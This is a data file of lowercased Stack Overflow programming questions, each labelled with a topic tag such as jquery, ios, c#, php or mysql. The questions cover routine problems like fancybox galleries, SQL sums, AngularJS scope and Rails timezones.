why is there a gallery with my fancybox  <img src= https://i.stack.imgur.com/ntit2.jpg  alt= additional navigation button >     i have used the fancybox script to call a html block but what i don t get is its showing a gallery with the navigation buttonwhen my link only points to 1 html block. when i click the next button  the same content shows up.   <pre><code>&lt;a class= measurement  href= &lt; php echo $this-&gt;geturl( measurement )  &gt;  rel= iframelink &gt;&lt;img src= &lt; php echo $this-&gt;getskinurl( images/sizeguide.gif ) &gt;  /&gt; </code></pre>      <h2>the code i m using:</h2>  <pre><code>&lt;script type= text/javascript  src= &lt; php echo $this-&gt;getjsurl( lightboxes/fancybox/jquery.easing-1.3.pack.js );  &gt; &gt;&lt;/script&gt; &lt;script type= text/javascript  src= &lt; php echo $this-&gt;getjsurl( lightboxes/fancybox/jquery.fancybox-1.3.4.pack.js );  &gt; &gt;&lt;/script&gt; &lt;link rel= stylesheet  type= text/css  href= &lt; php echo $this-&gt;getjsurl( lightboxes/fancybox/jquery.fancybox-1.3.4.css );  &gt;  media= screen /&gt;  &lt;script type= text/javascript &gt;     jquery(document).ready(function(){         jquery( a[rel=iframelink] ).fancybox({  type  :  iframe    width  : 600   height  : 500   scrolling    :  no  }); }); &lt;/script&gt; </code></pre>,jquery
how to store data in object and that object store in array in ios  how can i store these three dictionaries in an object and those three objects store in an array   how can i retrive this data from array    <pre><code>{          gender_desc  = male;          gender_id  = 1;          gender_isactive  = 1; }  {          gender_desc  = female;          gender_id  = 2;          gender_isactive  = 1; }  {          gender_desc  = other;          gender_id  = 3;          gender_isactive  = 1; } </code></pre>,ios
best timezone practice if everything about a ror app is based in and reflects 1 timezone   rails 2.3.5    if i m working on a rails app (forced utc like normal) that will have a working schedule system with a lot of datetime interaction  but anyone that touches it (across the country) has too look at everything as  est  (corporate thing)  would you leave rails saving records as utc time or go with a forced est     i mean if everything this tool does is based in and reflects est - is there a point to following the default practice of saving all db records as utc     thanks - couldn t come up with a good search phrase for this one  i guess it s more of a  is there a an exception to the utc only best practice  question.,ruby-on-rails
how can i iterate through each digit in a 3 digit number in c   length is always 3  examples:   <pre><code>000 056 999 </code></pre>   how can i get the number so i can use the value of the single digit in an array     would it be easier to convert to an <code>char</code>  loop through it and convert back to <code>int</code> when needed,c
applying custom filter over aggregate values in angular ui-grid  i have used aggregation in ui-grid for displaying sum based on grouping of a column.now i want to apply custom filter over these aggregated values.currently my custom filter only filters row wise data not the aggregated value.please help.   <pre><code>{                     displayname:  total                       name:  total                       field:  total                       width: 110                      type:  number                       visible: true                      enablefiltering: true                      treeaggregationtype: uigridgroupingconstants.aggregation.sum                      customtreeaggregationfinalizerfn: function (aggregation) {                         aggregation.rendered = aggregation.value;                     }                       filter: {                         condition: function (searchterm  cellvalue) {             //need to filter those rows whose sum matches with the searchterm                                return isinsearch(searchterm  cellvalue);                         }                     }                 }  </code></pre>,angularjs
recursively push the key value pair to hash with indiffernt access  i am new to ruby on rails and i am trying do something like  i have hash    <pre><code>hash1 = { a =&gt; 1   b =&gt;{ c =&gt; 3   d =&gt;{ e =&gt; 5 }}  f =&gt; 6   g =&gt;{ h =&gt; 7   i =&gt; 8 }} </code></pre>   then i used a recursive method to read the key-value pair  as shown below :   <pre><code>def traverse_hash_recursively(words)   words.each_pair do |key value|     if value.is_a (string)       puts  #{key}=&gt;#{value}      else       traverse_hash_recursively(value)     end   end end </code></pre>   called the above method like this :   <pre><code>traverse_hash_recursively(hash1) </code></pre>   and the output is like :   <pre><code>a=&gt;1 c=&gt;3 e=&gt;5 f=&gt;6 h=&gt;7 i=&gt;8 </code></pre>   but this is not the output i was looking for  i want the output as    <pre><code>hash[a]=1 hash[b][c]=3 hash[b][d][e]=5 hash[f]=6 hash[g][h]=7 hash[g][i]=8 </code></pre>   i know what i have written in the code will give me the output i got but how will i get the desired output  can anybody help,ruby-on-rails
select part of id inside id  i need to find elements by part of their id  being inside another id.     for example  all elements starting with <strong>bc1_</strong> and <strong>bc2_</strong> inside a form with id <strong>form1000</strong>.    i ve tried    <pre><code>var o=$( #form1000 ).eq( id^=bc1_   id^=bc2_ ); var o=$( #form1000[id^=bc1_] #form1000[id^=bc2_] ); </code></pre>   and a few variations on that  but i m getting no results. can anyone point me in the right direction,jquery
android: onkeylistener simulating two instances of a pressed key <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3802887/public-boolean-onkey-called-twice >public boolean onkey() called twice </a>    </blockquote>    <pre><code>display.setonkeylistener(new onkeylistener() {     public boolean onkey(view v  int keycode  keyevent event) {         switch (keycode) {              case keyevent.keycode_enter:                 solveexpression();                 return true;         }         return false;     } }); </code></pre>   i m trying to solve the expression contained within the display(edittext)  by pressing the enter button on the keyboard  yet it always interprets it as though i pressed the button twice.  does anyone know why this happens,android
ajax calendarextender  i am using microsoft visual studio 2010 version 10.0.30319.1 rtmrel microsoft .net framework version 4.0.30319 rtmrel    i downloaded ajaxcontroltoolkit.binary.net40. added them as reference.     when i added the textbox  extended with calendar extender which has final code as below:    when i press f5  i dont see anything happening when i click on textbox1. please help... this is so simple and still not working for me.. :(    i ve googled this for a while but none of the solution did help.. please help! i ve added assembly &amp; scriptmanager but still not working      <pre><code>        &lt;asp:textbox id= textbox1  runat= server   &gt;&lt;/asp:textbox&gt;         &lt;asp:calendarextender id= textbox1_calendarextender  runat= server               enabled= true  targetcontrolid= textbox1  format= mmmm d  yyyy  &gt;         &lt;/asp:calendarextender&gt; </code></pre>,asp.net
php - i m a little confused on $_post and in_array  alright so i receive from $_post and i need my code do something like this   <pre><code>if ($_post contains eu-london) { //do stuff here }else{ //failed to find eu-london } </code></pre>   now i ve been told several ways to find a certain phrase in code but the posted data contains:   <pre><code> array  (      [eu-london] =&gt;   ) </code></pre>   how would i check if the eu-london is there  because pregmatch uses strings and im not sure how to grab this using in_array(),php
c# - how to return a correct checking float.parse(string)   in my project i have a text box. i assume user type in it float variable or text. if user types in it float variable i need to check this variable if it is actually a float type!.    i guess some how return <code>true</code> or <code>false</code> from <code>float.parse(string)</code>. is it possible !,c#
inner function cannot access outer function variable after being changed  yes  this question is similar with <a href= https://stackoverflow.com/questions/12239129/inner-function-cannot-access-outer-functions-variable >inner function cannot access outer functions variable</a>. but it s not the same one. what confused me is  after being changed . codes below maybe more intuitively.   <pre><code>var serial_maker = function() {     var prefix =             seq = 0;     return {         set_prefix: function(p) {             prefix = string(p);         }          set_seq: function(s) {             seq = s;         }          gensym: function() {             var result = prefix + seq;             seq += 1;             return result;         }     }; }; var seqer = serial_maker(); seqer.set_prefix( q ); seqer.set_seq(1000); seqer.gensym(); //  q1000   // rewrite set_seq method seqer.set_seq = function() {     seq = 2000; }; seqer.set_seq();  seqer.gensym(); //  q1001   which was expected  q2000  </code></pre>   so this is what i want to figure out —— why the rewritten <code>set_seq</code> method didn t change value of the private variable <code>seq</code> in outer function     hope i could get some essential answers  thanks =),javascript
how do i add a textview to another activity  suppose i have two activities namely <code>addview</code> and <code>seeview</code>.    in <code>seeview</code>  there is a button that would take me to <code>addview</code> activity. in <code>addview</code> activity  i will enter the text that will be shown on the <code>seeview</code> as <code>textview</code>.    then  clicking a button on <code>addview</code>  i will be taken to the <code>seeview</code> where the added textview from <code>addview</code> is displayed. how do i do this programmatically,android
angularjs hide div elements for specific path/controllers  i have the following structure:   <pre><code>&lt;html&gt; &lt;head&gt;        // additional info here &lt;/head&gt;  &lt;body data-ng-app= myapp  data-ng-controller= contentcontroller &gt;       &lt;div id= container &gt;             &lt;div id= id1 &gt;                 //content here            &lt;/div&gt;             &lt;div id= id2 &gt;                 //content here            &lt;/div&gt;             &lt;div id= id3 &gt;                 //content here            &lt;/div&gt;             &lt;div id= page-content &gt;                 &lt;div data-ng-view=  &gt;                      //here will be loaded the other views                       //example: /profile  /login  /register  etc etc)                 &lt;/div&gt;            &lt;/div&gt;        &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   what i need is to hide the <code>divs: id1  id2  id3</code>  when the user navigates to specific pages like /login or register. for all other pages the <code>divs: id1  id2  id3</code> should be visible.    at the moment when the user navigates to <code>/login</code> the <code>divs: id1  id2  id3</code> content is shown with the login form so i have to hide it somehow.    the <code>divs: id1  id2  id3</code> are common for all pages except for <code>/login</code>  <code>/register</code> and <code>/forgot</code>.,angularjs
python open file in write mode ioerror  i m receiving an ioerror when trying to create a file using open() in python  which only seems to occur for a single filename. the directories definitely exist and permissions are granted  the loop created around 1000 files successfully. when <code>epic =  con </code> in the code below i receive the  no such file or directory  error  but it works fine for other values.    <pre><code>f = open( data\\lse\\%s.csv  % epic.strip()  w ) f.write(u.read()) f.close() </code></pre>   could this be a race issue  the files are created quite quickly.    i m new to python so if there s something obvious i missed  apologies!,python
how to embbed video on uiview or uiwebview  there are some apps in the app store that have a video stream without using mpvideo and they are embbeded on the uiview or uiwebview. how is this implementation done  any help is great thanks.,iphone
swift: value changing control events not calling   so i have added targets to my ibactions i have created that occur when the value of a text field changes. when these actions occur  the system should check if the two text fields are both integers. i have set two variables set to false  and they are set to true when both of them are an int. in the ibactions  i have if statements that tell a button to be enabled if both of the variables contain integers. when i run the simulator  this button doesn t enable when both of the text fields contain an integer.    i am new to swift  so if possible  please write all of the code out and where it should be in my code. here is what i have so far:   <pre><code>import uikit  class viewcontroller: uiviewcontroller  uitextfielddelegate {  @iboutlet weak var calculatorbutton: uibutton! @iboutlet weak var inspirationlabel: uilabel! @iboutlet weak var beginninglabel: uilabel! @iboutlet weak var calculatorcontainer: uiview! @iboutlet weak var answer1label: uilabel! @iboutlet weak var donebutton: uibutton! @iboutlet weak var yourweighttextfield: uitextfield! @iboutlet weak var calorienumbertextfield: uitextfield! @iboutlet weak var menuexamplebutton: uibutton! @iboutlet weak var aboutbutton: uibutton! @iboutlet weak var calculatebutton: uibutton!  override func viewdidload() {     super.viewdidload()     // do any additional setup after loading the view  typically from a nib     yourweighttextfield.delegate = self     calorienumbertextfield.delegate = self     calculatebutton.enabled = false     // calling the textfield valuechanged methods     yourweighttextfield.addtarget(self  action: yourweightvaluechanged:   forcontrolevents:.valuechanged);     calorienumbertextfield.addtarget(self  action: calorienumbervaluechanged:   forcontrolevents:.valuechanged); }  override func didreceivememorywarning() {     super.didreceivememorywarning()     // dispose of any resources that can be recreated. }  @ibaction func calculatorbuttontapped(sender: anyobject) {     calculatorcontainer.hidden = false     inspirationlabel.hidden = true     beginninglabel.hidden = true     menuexamplebutton.hidden = true     aboutbutton.hidden = true }  var yourweightfilled = false var calorienumberfilled = false  func textfield(textfield: uitextfield  shouldchangecharactersinrange range: nsrange  replacementstring string: string) -&gt; bool {     // find out what the text field will be after adding the current edit     let text = (textfield.text as nsstring).stringbyreplacingcharactersinrange(range  withstring: string)      // if the textfields have the properties of the function     if textfield == yourweighttextfield {         yourweightfilled = text.toint() != nil     } else if textfield == calorienumbertextfield {         calorienumberfilled = text.toint() != nil     }      return true }  func textfieldshouldreturn(textfield: uitextfield) -&gt; bool {     textfield.resignfirstresponder();     return true; }  // the methods to close the keyboard when editing is finished @ibaction func yourweighteditingdidend(sender: anyobject) {     yourweighttextfield.resignfirstresponder() }  @ibaction func calorienumbereditingdidend(sender: anyobject) {     calorienumbertextfield.resignfirstresponder() }  @ibaction func yourweightvaluechanged(sender: anyobject) {     // if both variables are true and the text fields contain integers  enable button     if self.yourweightfilled &amp;&amp; self.calorienumberfilled {         self.calculatebutton.enabled = true     } } @ibaction func calorienumbervaluechanged(sender: anyobject) {     // if both variables are true and the text fields contain integers  enable button     if self.yourweightfilled &amp;&amp; self.calorienumberfilled {         self.calculatebutton.enabled = true     } } } </code></pre>,ios
checking whether a mutable set contains an object with identical properties  what i want to do  is create an <code>nsmutableset</code>  the purpose of which would be to count how many pairs of unique data there are.    basically  i have two mutable arrays; <code>xcoordinates</code> and <code>ycoordinates</code>  and a custom object called <code>xypoint</code>. each x coordinate and y coordinate at coinciding indices combine to make a point on a cartesian plane. for example  at index 2  there may be in the <code>xcoordinates</code> array  the number 4 and in the <code>ycoordinates</code> array  the number 8  making the point (4  8).    now  to the crux of the question  what i want to do is check how many <em>unique</em> points are there. i was planning on using an <code>nsmutableset</code> to do it. i.e:   <pre><code>for (int i = 0; i &lt; [xcoordinates count]; i++) {          xypoint *newxy = [[xypoint alloc] init];         newxy.xcoordinate = [xcoordinates objectatindex:i];         newxy.ycoordinate = [ycoordinates objectatindex:i];          if ([distinct containsobject:newxy] == no) {              [distinct addobject:newxy];          }      } </code></pre>   unfortunately  that doesn t work. is there a way to say;   <pre><code>if (there isn t an object in the set with an identical x coordinate property and y coordinate property){      add one to the set;  } </code></pre>,objective-c
how can i switch on bluetooth on the ios simulator   i d like to know  how i can activate bluetooth on the ios simulator. i use xcode 7.2.1 on a macbook pro. if i enter the settings  i have no bluetooth option to set. could somebody help me,ios
random gives always the same value  i am creating a simple class to generate fake lorem ipsum text so i have:   <pre><code>public static class loremipsumgenerator {    private static random _random = new random();    private static string _lorem = constants.loremipsumtext;   private static ienumerable&lt;string&gt; _words = _lorem.towordlist();    public static string gettext(int32 totallength = 200  int32  paragraphlength = null) {    ilist&lt;string&gt; words = _words.orderby(x =&gt; guid.newguid()).tolist();    string text = string.empty;   string paragraph = _lorem.substring(0  12);    int32 index = 0;    while (text.length &lt; totallength) {      //int32 a = (paragraphlength == null   _random.next(20  80) : paragraphlength.value);      int32 limit = _random.next(20  80);      while (paragraph.length &lt; limit) {        paragraph += (string.isnullorempty(paragraph)   words[index].tofirstletteruppercase() : words[index].tolower()) +    ;                index++;        if (index &gt; words.count)         index = 0;      }      paragraph = paragraph.trimend();     text += paragraph +  .  ;     paragraph = string.empty;    }    return text;    } // gettext  } // loremipsumgenerator </code></pre>   the problem is in line:   <pre><code>int32 l = (paragraphlength == null   _random.next(20  80) : paragraphlength.value); </code></pre>   it gives me almost always the same value ... for example i got:   <pre><code>21  21  47  47  47  47  47  47  47  47  47 or  50  50  50  50  50  50  50  50  50  50  50 </code></pre>   does anyone know how to prevent this     <strong>update</strong>   <pre><code>public static class loremipsumgenerator {    private static random _random = new random();    private static string _lorem = constants.loremipsumtext;   private static ienumerable&lt;string&gt; _words = _lorem.towordlist();    public static string gettext(int32 totallength = 200  int32  paragraphlength = null) {    ilist&lt;string&gt; words = _words.orderby(x =&gt; guid.newguid()).tolist();    string text = string.empty;   string paragraph = _lorem.substring(0  12);    int32 index = 0;    while (text.length &lt; totallength) {      int32 limit = _random.next(20  80);      while (paragraph.length &lt; limit) {        paragraph += (string.isnullorempty(paragraph)   words[index].tofirstletteruppercase() : words[index].tolower()) +    ;                index++;        if (index &gt; words.count)         index = 0;      }      paragraph = paragraph.trimend();     text += paragraph +  .  ;     paragraph = string.empty;    }    } // gettext  } // loremipsumgenerator </code></pre>,c#
in jquery how can i do an addclass followed by a fadeout   i would like to add a class which renders an element a particular color and then fade out that color back to the original.  i thought the following would work (btn-warning changes the element to the color i want)   <pre><code>$( .myclass ).addclass( btn-warning ); $( .myclass .btn-warning ).fadeout(); </code></pre>   what am i doing wrong,jquery
loading xdocument while validating against schema in .net 3.5  input is xml as a string and i have a xsd schema to verify against.    i wish to validate the xml against the xsd schema while loading the xml into an xdocument (requirement since i need to do parsing with linq afterwards).    anyone has a small code-snippet,.net
regarding file upload control in asp.net  i have a popup control and it contains  a  file upload  control and attach  link button      submit  and  cancel  button    when a user selects a file and when he clicks attach button     the attached file and a link button  remove  should appear dynamically. and when user selects another file to attach      the attached file and a link button to remove the link should appear below the first uploaded file. like this user can attach 10 files each of size 3gb.,asp.net
get sum of values passed to a lablel with in a session  i have a . net application where a user enters a value in a text box and hit a button. each time the user enters a new value in the text box and hits the button the new value entered should be summed to the previous entered value and so on (initially at the start of the session the value should be set to 0).<br> i tried storing the value in a session variable  but when i hit the button the page re-lodes and forgets the old value.  could any one tell me how i could store a value globally in a session and use the value to add to the newly entered value.,.net
find the x and y cordinates of users location  i have a an image that i want to be to the right of the users location  how do i go about doing that  is there a way to get the x and y coordinate of the users location and then take that and subtract the x and y of the image to make sure its always on the right    <pre><code>-(void)mapview:(mkmapview *)mapview didupdateuserlocation:(mkuserlocation *)userlocation{      mkcoordinateregion region;     region.center = worldview.userlocation.coordinate;     mkcoordinatespan span;     span.latitudedelta  = 5;     span.longitudedelta = 5;     region.span = span;     [worldview setregion:region animated:yes];      uiimage *commentbox = [uiimage imagenamed:@ comment-box ];     uiimageview *commentboximageview = [[uiimageview alloc] initwithimage:commentbox];     [self.view addsubview:commentboximageview];  } </code></pre>,objective-c
javascript round a number based on a condition  how can i use    <pre><code>math.round()  </code></pre>   to round an input based on reminder of 2000    if input is between     1-2000 = 1    2001- 3000 = 1.5    3001-4000  = 2    4001-5000 =2.5    5001-6000 = 3     example if input is 1500   then result is 1      if input is 4000 then result is 2   if input is 40001 then result is 2.5 like that     &amp;     also need to round another input based on reminder of 32     if input is between     1-32 =1    33-64 =2     65-96 = 3    example if input is 31 result is 1   input =64 result =2 &amp;  input= 95 result 3 etc,javascript
sql - how to replace my sum results in one number  i have a query that sums some columns   <pre><code>select p  sum (k) from table group by p </code></pre>   and i want that if the sum is more than 1 i will have 1 in results. meaning instead of:   <pre><code>p k 1 2 3 4 23 0 </code></pre>   i will have:   <pre><code>p k 1 1 3 1 23 0 </code></pre>,sql
understanding mysql return  the mysql query is:   <pre><code>select orders.scientific_name as  order   families.scientific_name as  family   count(*) as  number of birds  from birds  bird_families as families  bird_orders as orders where birds.family_id = families.family_id and families.order_id = orders.order_id and orders.scientific_name =  pelecaniformes ; </code></pre>   the output is:   <pre><code>+----------------+-------------+-----------------+ | order          | family      | number of birds | +----------------+-------------+-----------------+ | pelecaniformes | pelecanidae | 224 | +----------------+-------------+-----------------++ </code></pre>   but i have 5 <strong>families</strong> in the db. why did it return only one,mysql
angular scope not updating in watcher  i have a watch and in that watch i check for some value and then update the other one. this is my code   <pre><code> scope.$watch(function () {  return userfactory.getuser();  }  function (newvalue  oldvalue) {  if (newvalue.user) {        scope.domainuser = newvalue.user.domainuser;      scope.isguardian = scope.domainuser.category ===  guardian ;       if (scope.isguardian &amp;&amp; scope.mymessage !== undefined) {          angular.foreach(newvalue.user.dependantusers  function (value  key) {              if (scope.mymessage.onbehalfof === value.domainuser.username) {                  scope.mymessage.background = globalcolorsarray[key];                   console.log(scope.mymessage);               }            });      }  }  }); </code></pre>  <blockquote>    mymessage is passed from where the directive is called. if i have a function lets say a click button and there if i update the value it does update it.   </blockquote>   the strange this is that the console log has the updated property in it. but on the template it doesn t get it.     my template has a lot of stuff but the issue is here   <pre><code>&lt;span class= parent-child-color-scheme  ng-show= isguardian  ng-class= mymessage.background &gt;&lt;/span&gt; </code></pre>   apparently if i try to update any property it doesn t work inside the watch. it doesn t take effect.     this is what i have in the directive   <pre><code>return {         restrict:  e           scope: {             mymessage:  =message               frontpage:  =               inbox:  =          }  controller: function ($scope) { </code></pre>,angularjs
ios 7 interface orientation  i have an app that is always showed in portrait mode.    but in somewhere i have a media gallery that must support landscape.    the supported orientation by default in the project is portrait. because of that the gallery is only showed in portrait mode.    if i change the project setting to show in portrait and landscape the gallery works fine but i can t control the other viewcontrollers to show only in portrait.    i tried several methods like shouldautorotate but no one worked.    any ideia how to solve     regards    <strong>edit:</strong>    solved :)    first i configured the project to support all orientation. then i added this method to the appdelegate.m:   <pre><code>- (nsuinteger)application:(uiapplication *)application supportedinterfaceorientationsforwindow:(uiwindow *)window {     return uiinterfaceorientationmaskportrait | uiinterfaceorientationmasklandscape; } </code></pre>   after this what i did was to block orientation in each view controller  less the one i want to have orientation in landscape and portrait.    code to block orientation (ios 7):   <pre><code>- (bool)shouldautorotate {     return yes; }  - (nsuinteger)supportedinterfaceorientations {     return (uiinterfaceorientationmaskportrait); } </code></pre>   thanks to everyone that answered me :),ios
how can i make this code more general  i want to use this method with different classes    so is there a way to cast this variable <em>collection</em> to a different methods    because i have four classes like rsummary   <pre><code>//resultquery : i want to cast this variable more than one type  eg :  var collection = await resultquery(entity  _classid).cast&lt;rsummary&gt;().tolistasync(); foreach (var result in collection) {     decimal percentile = 0;     int rank = 0;     // rank     if (result.percentage == percentile)         result.rank = rank;      else     {         result.rank = rank + 1; percentile = result.percentage; rank++;     }     var values = await getgrades(result.percentage); //returns student gpa  grade  etc.     result.grade = values.grade;      result.description= values.description;     result.gpa = values.gpa;     values = null;     entity.entry(result).state = entitystate.modified; } </code></pre>   rsummary class   <pre><code>public class rsummary { public int id { get; set; } public int examsid { get; set; } public string studentsid { get; set; } public decimal hm { get; set; } public decimal marks { get; set; } public decimal percentage { get; set; } public string grade { get; set; } public int rank { get; set; } public string result { get; set; } public decimal gpa { get; set; }  public virtual exam exams { get; set; } public virtual student students { get; set; } } </code></pre>,c#
search and fetch string values in comma separated string which match the post variable from url php mysql  hi i have a sql table like this   <pre><code>id     fname     cat                              address        status  1      bash      wedding venue                      abc            a 2      ashu      wedding venue  wedding card        bcd            a 3      jash      wedding venue                      abc            a 4      hash      wedding venue                      bcd            a    5      rash      wedding card                       bcd            a </code></pre>   id  2  has 2 cat values. what i want is to fetch id  2  in both cases whether post variable in url is  wedding venue  or  wedding cat . in detail if url is something like    <pre><code>www.example.com/list.php cat=wedding venue </code></pre>   output:   <pre><code>id     fname     cat                              address        status  1      bash      wedding venue                      abc            a 2      ashu      wedding venue  wedding card        bcd            a 3      jash      wedding venue                      abc            a 4      hash      wedding venue                      bcd            a </code></pre>   and for url    <pre><code>www.example.com/list.php cat=wedding card </code></pre>   output:   <pre><code>id     fname     cat                              address        status  2      ashu      wedding venue  wedding card        bcd            a 5      rash      wedding card                       bcd            a </code></pre>,mysql
reading notifyicon text from another application in .net  how can i read notifyicon.text from another application  i found shell_notifyicon function [<a href= http://msdn.microsoft.com/en-us/library/bb762159%28vs.85%29.aspx]  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/bb762159%28vs.85%29.aspx]</a> but i don t know how to use it this way.,.net
roughly equivalent code of partial  in the official docs <a href= https://docs.python.org/3.7/library/functools.html  rel= nofollow noreferrer >10.2. functools</a>  about partial    roughly equivalent to:   <pre><code>def partial(func  *args  **keywords):     def newfunc(*fargs  **fkeywords):         newkeywords = keywords.copy()         newkeywords.update(fkeywords)         return func(*args  *fargs  **newkeywords)     newfunc.func = func     newfunc.args = args     newfunc.keywords = keywords     return newfunc </code></pre>   i guess it could be better if refactor it as:   <pre><code>def partial(func  *args  **keywords):     def newfunc(*fargs  **fkeywords):         return func(*args  *fargs  **fkeywords  **keywords)     newfunc.func = func     newfunc.args = args     newfunc.keywords = keywords     return newfunc </code></pre>   or    <pre><code>def partial(func  *args  **keywords):     def newfunc(*fargs  **fkeywords):         newkeywords = keywords.copy()         newargs = args.copy()         newkeywords.update(fkeywords)         args.append(fargs)         return func(*args  **newkeywords)     newfunc.func = func     newfunc.args = args     newfunc.keywords = keywords     return newfunc </code></pre>   does my assumption make sense,python
fetching table data with single query  i want to access all data under name= vehicle   so all child s and sub child s should get in single query    <img src= https://i.stack.imgur.com/kcpsc.png  alt= enter image description here >    i have tried this query     <pre><code>select a.cid as maincategoryid  b.cid as childcategoryid  b.parentid from categories a  categories b where a.cid = b.parentid and name= vehicle  </code></pre>,mysql
how to execute an echo with java script content before header in php  this is my code:   <pre><code>    ob_start();      echo &lt;script type= text/javascript &gt;alert( wrong username or password please try again )&lt;/script&gt; ;                 header( location:http://localhost/xampp/my_hospital/login.php ); ob_end_flush(); </code></pre>   this code is located in a separate file called login_check.php.i want the alert to pop up and then it should redirect to login.php.the problem is the alert doesn t show up but the redirect works.,php
how do i create a simple javascript program that displays the value of <input type= text >   i am new to javascript  and i only know c++ so far  but i know the logic but i just don t know the syntax on javascript    so i have this form :   <pre><code>&lt;span&gt;please type your name here: &lt;/span&gt; &lt;input id= inputname  type= text  value=  &gt;&lt;/input&gt; </code></pre>   when the user types his/her name how do i save the value to some variable and display it with javascript     i have already tried using   <pre><code>function displayname(){     var username = getelementbyid( inputname ).value;     document.write(username); } </code></pre>   and i put   <pre><code>&lt;script&gt;displayname();&lt;/script&gt; </code></pre>   below the form. it doesn t seem to work  how do i do it     and how do i use:   <pre><code>&lt;input type= submit &gt;&lt;/input&gt; </code></pre>   in relation to it,javascript
how do you store an integer and boolean key value pair in an un-ordered collection   i need to store a list of key value pairs of (integer  boolean) in .net    when i use a dictionary it re-orders them.  is there a built in collection that will handle this.,.net
accurate ram usage of a php script running simultaneously multiple times   here is my code:   <pre><code>echo memory_get_usage() .  \n ;  // my php code is here. echo memory_get_usage() .  \n ;  </code></pre>   the first line always echos 125800 and second line echos something variable around 129448. so  does this mean all my php scripts will use 125800 bytes of ram at the least and depending on the demand it can go up as needed     **update - **    i read <a href= https://stackoverflow.com/questions/4010781/php-memory-get-usage >this question</a>. here is a quote from accepted answer   <blockquote>    when looking at your memory usage  you must look at the memory that is  being used by the interpreter as well. look at the big picture. the number being given to you by memory_get_usage() is the correct number.  </blockquote>   my question is if the same script is run multiple times does the memory allocated for each script is 129448 bytes or does the interpreter takes just one time memory of 125800 and more instances of the script run on 129448 - 125800 bytes of memory.,php
mysql: how to construct a given query  i am not a mysql guru at all  and i would really appreciate if someone takes some time to help me. i have three tables as shown below:   <pre><code>team(teamid  teamname  userid) youth_team(youthteamid  youthteamname  teamid) youth_player(youthplayerid  youthplayerfirstname  youthplayerlastname  youthplayerage  youthplayerdays  youthplayerrating  youthplayerposition  youthteamid) </code></pre>   and this is the query that i have now:   <pre><code>select team.teamname  youth_team.youthteamname  youth_player.* from youth_player     inner join youth_team on youth_player.youthteamid = youth_team.youthteamid     inner join team on youth_team.teamid = team.teamid where youth_player.youthplayerage &lt; 18 and youth_player.youthplayerdays &lt; 21 and youth_player.youthplayerrating &gt;= 5.5 </code></pre>   what i would like to add to this query is a more thorough checks like the following:   <ul> <li>if player has 16 years  and his position is scorer  then the player should have at least 7 rating in order to be returned</li> <li>if player has 15 years  and his position is playmaker  then the player should have at least 5.5 rating in order to be returned</li> <li>etc.  etc.</li> </ul>   how can i implement these requirements in my query (if possible)  and is that query going to be a bad-way solution  is it maybe going to be better if i do the selection with php code (if we suppose i use php) instead of doing it in the query,mysql
proper use of accessors in c#  i have been learning c# on and off for a few years now (i mainly use c++) and in that time  i have been manually coding in the <code>get</code> and <code>set</code> for each field.    i recently read about accessors and how if you code it like so...   <pre><code>    private string _colour;     public string colour     {         set         {             _colour = value;         }         get         {             return _colour;         }     } </code></pre>   assigning and obtaining values to/from colour  will execute the <code>set</code> or <code>get</code> method to use modify or obtain the value from _colour. however  i am a bit unclear on how this works. doesn t this use up more than normal memory  aren t we creating 2 string field sized objects in memory     i tried just using the colour instead of both colour and _colour  and changing the <code>get</code> and <code>set</code> blocks to modify the field itself  but that always ends up in an infinite loop.    are we better off doing the way shown above  or to make our own <code>get</code> and <code>set</code> methods,c#
"fire $emit event if model property change  i m trying to pass some data from child controller to parent controller using <code>$emit</code> + <code>$on</code> .    here is my code.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>angular.module( myapp   [])
     .controller( parentctrl   [ $scope    $http    $q   function ($scope  $http  $q) {
         $scope.message =  parent ;
 
         $scope.$on( eventfromchild   function (event  data) { 
           console.log( event received );
           $scope.message = data;
         });        
     }])
     .controller( childctrl   [ $scope    $http   function ($scope  $http) {
         $scope.data ={ name : amit   lastname : kumar };
         $scope.$emit( eventfromchild  $scope.data.name);
         $scope.update = function(){
           console.log( clicked );
           $scope.data.name = testing ;
         };
     }]);</code></pre>
 </div>
 </div>
     when page is loaded then  then it successfully passes the data from the child to parent  <strong>but when i update the data in child then i also want it to get reflected in parent controller</strong>  but it is not emitting the event.    <strong><a href= http://plnkr.co/edit/p2hy47fn7f9kyrt4ean4 p=preview  rel= nofollow noreferrer >plunker</a></strong>",angularjs
can we restrict number of indexers for set operator in indexers   for below indexer it should be in such a way that for get{} user can pass employeeid or firstname and for set{} can pass only employeeid.    here is the code:   <pre><code>public employee this[int employeeid = 0 string firstname =   ] {     get     {         if (employeeid != 0)         {             return employees.firstordefault(emp =&gt; emp.no == employeeid);         }         else         {             return employees.firstordefault(emp =&gt; emp.firstname == firstname);          }     }     set     {         if (employeeid == value.no)         {             employees.firstordefault(emp =&gt; emp.no == employeeid).firstname = value.firstname;             employees.firstordefault(emp =&gt; emp.no == employeeid).lastname = value.lastname;         }         else         {             argumentexception argex = new argumentexception( falied to update );             system.windows.forms.messagebox.show(argex.message);         }     } } </code></pre>   i just want to know is there any syntax that will restrict the number and type of indexers passed at set operations. or simply add new indexer for set which obviously works.,c#
what s *__strong* means   there is a method:   <pre><code>- (void)dosmth:(nsstring *__strong*)str {     nslog(@ %@   *str); } </code></pre>   what does it mean when <em>__strong</em> follow the class of a method parameter  why are there two asterisks,objective-c
